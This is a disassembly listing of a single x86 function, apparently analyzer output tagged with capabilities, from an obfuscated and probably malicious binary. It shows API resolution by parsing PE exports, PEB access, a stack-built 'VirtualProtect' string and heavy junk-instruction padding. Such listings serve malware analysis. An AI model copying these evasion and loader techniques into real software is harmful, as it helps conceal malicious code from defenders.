Function at 0x414878
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
add esp, 4
add edx, 0x16281
pop edx
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x29c], eax
jmp 0x414391
push eax
call 0x41439e
add byte [eax + 0x4c], cl
inc ecx
dec edx
dec eax
add esp, 4
or eax, 0xd632
call 0x4143b3
add byte [esi + esi + 0x34], cl
inc edx
dec ebx
inc eax
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
and ecx, 0x65a1
pop ecx
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x318], eax
push edx
add edx, 0x676f
pop edx
push ebx
add ebx, 0x2c33
pop ebx
push edx
and edx, 0x7c5c
xor edx, 0x161c
pop edx
push eax
add eax, 0x108b9
xor eax, 0x4d88
sub eax, 0x22a1
pop eax
mov dword [ebp - 0x73c], 0
mov ecx, dword [ebp - 0x318]
mov dword [ebp - 0x154c], ecx
cmp dword [ebp - 0x154c], 0
jne 0x414434
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x414725
mov eax, dword [ebp - 0x154c]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1550], ecx
jne 0x41445c
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x414725
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1550]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1554], eax
cmp dword [ebp - 0x1554], 0
jne 0x41448e
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
jmp 0x414725
mov edx, dword [ebp - 0x318]
add edx, dword [ebp - 0x1554]
mov dword [ebp - 0x730], edx
jne 0x4144b3
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], eax
jmp 0x414725
mov ecx, dword [ebp - 0x730]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1c18], edx
mov eax, dword [ebp - 0x730]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1c1c], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c20], eax
mov dword [ebp - 0x734], 0
jmp 0x41450d
mov ecx, dword [ebp - 0x734]
add ecx, 1
mov dword [ebp - 0x734], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x734]
cmp eax, dword [edx + 0x18]
jae 0x414719
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c18]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c1c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c20]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c24], edx
mov dword [ebp - 0x154], 0
jmp 0x41457d
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
test edx, edx
je 0x41462f
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
test ecx, ecx
je 0x41462f
push ecx
or ecx, 0x82c6
add byte [ecx + 0x57], bl
jmp 0x4145b8
pop edi
push esi
or esi, 0x844
push edi
or edi, 0x864c
and edi, 0x16196
and edi, 0x16e57
pop edi
push esi
push eax
add esp, 4
xor esi, 0xe51f
xor esi, 0xaa3c
or esi, 0xbaae
add esi, 0xf1f3
pop esi
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
cmp edx, ecx
jne 0x41468e
mov dword [ebp - 0xc50], 0
jmp 0x4146fd
push ebx
xor ebx, 0xf010
sub ebx, 0x1093d
sub ebx, 0x15dfb
sub ebx, 0xcac
pop ebx
push esi
push ecx
add esp, 4
or esi, 0x59f7
pop ecx
add byte [eax], al
or esi, 0xe0ab
add esi, 0x98a1
pop esi
mov edx, dword [ebp - 0x738]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x824]
or edx, 0x20
cmp eax, edx
jge 0x4146f3
mov dword [ebp - 0xc50], 0xffffffff
jmp 0x4146fd
mov dword [ebp - 0xc50], 1
cmp dword [ebp - 0xc50], 0
jne 0x414714
mov eax, dword [ebp - 0x1c24]
mov dword [ebp - 0x4cc], eax
jmp 0x414725
jmp 0x4144fe
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x768], edx
push eax
push ecx
add esp, 4
sub eax, 0x17bd6
add eax, 0x6414
call 0x414751
add byte [esp + esi], dh
inc eax
dec esp
inc esi
dec ebx
dec esp
inc edx
add esp, 4
pop eax
push ecx
add ecx, 0x2e1b
xor ecx, 0xb886
pop ecx
mov eax, dword [ebp - 0x398]
add eax, 0xe
mov dword [ebp - 0x1c74], eax
push edx
push eax
add esp, 4
or edx, 0x173bc
xor edx, 0x4b12
sub edx, 0x1294
pop edx
push edx
push eax
add esp, 4
or edx, 0xc413
add edx, 0x113a0
pop edx
push ecx
jmp 0x4147a3
pop ecx
cmp dword [ebp - 0x398], 0
je 0x4147b6
cmp dword [ebp - 0xa54], 0
jne 0x4147fc
push edi
or edi, 0xc633
sub edi, 0x13ed2
and edi, 0x5ac0
or edi, 0x156f3
pop edi
push edi
push edx
add esp, 4
add edi, 0x95f
or edi, 0xe997
sub edi, 0x4763
pop edi
mov ecx, dword [ebp - 0x768]
mov dword [ebp - 0x1c28], ecx
push 0
call dword [ebp - 0x1c28]
mov dword [ebp - 0x1d44], 0xa
push ecx
and ecx, 0x10cac
sub ecx, 0x9a2e
xor ecx, 0x16187
pop ecx
push eax
push edx
add esp, 4
or eax, 0x102c2
add eax, 0xf846
add eax, 0x9e61
sub eax, 0x5d4d
pop eax
mov edx, dword [ebp - 0x398]
mov al, byte [edx + 0xa]
mov byte [ebp - 0x3ad], al
mov ecx, dword [ebp - 0xa54]
sub ecx, dword [ebp - 0x398]
mov dword [ebp - 0x1594], ecx
mov dword [ebp - 0xc80], 0
push ebx
jmp 0x41486c
call 0x414878
add byte [esi + edi], bh
cmp al, 0x4d
inc eax
add esp, 4
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0x13b5a
jmp 0x41488e
xor ecx, 0x86af
pop ecx
mov byte [ebp - 0x978], 0x56
mov byte [ebp - 0x977], 0x69
mov byte [ebp - 0x976], 0x72
mov byte [ebp - 0x975], 0x74
mov byte [ebp - 0x974], 0x75
mov byte [ebp - 0x973], 0x61
mov byte [ebp - 0x972], 0x6c
mov byte [ebp - 0x971], 0x50
mov byte [ebp - 0x970], 0x72
mov byte [ebp - 0x96f], 0x6f
mov byte [ebp - 0x96e], 0x74
mov byte [ebp - 0x96d], 0x65
mov byte [ebp - 0x96c], 0x63
mov byte [ebp - 0x96b], 0x74
mov byte [ebp - 0x96a], 0
push eax
push edi
add esp, 4
xor eax, 0x11e58
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x14327
or ecx, 0x1a08
pop ecx
push edi
call 0x41492c
add byte [ebx + 0x40], al
cmp dword [esi], edi
push eax
dec esp
dec esp
inc edi
aas
add esp, 4
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c2c], edx
mov eax, dword [ebp - 0x1c2c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c30], ecx
mov edx, dword [ebp - 0x1c30]
mov dword [ebp - 0x1558], edx
push esi
push eax
add esp, 4
call 0x41496a
add byte [esi], bh
cmp al, byte [edi + 0x4d]
push eax
inc edx
dec edx
add esp, 4
pop esi
push esi
xor esi, 0x9d9b
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0xe3b6
pop ebx
push ebx
sub ebx, 0xd97a
pop ebx
cmp dword [ebp - 0x1558], 0
jne 0x4149a2
mov dword [ebp - 0x2a0], 0
jmp 0x414c49
mov eax, dword [ebp - 0x1558]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
invalid
xchg ebp, eax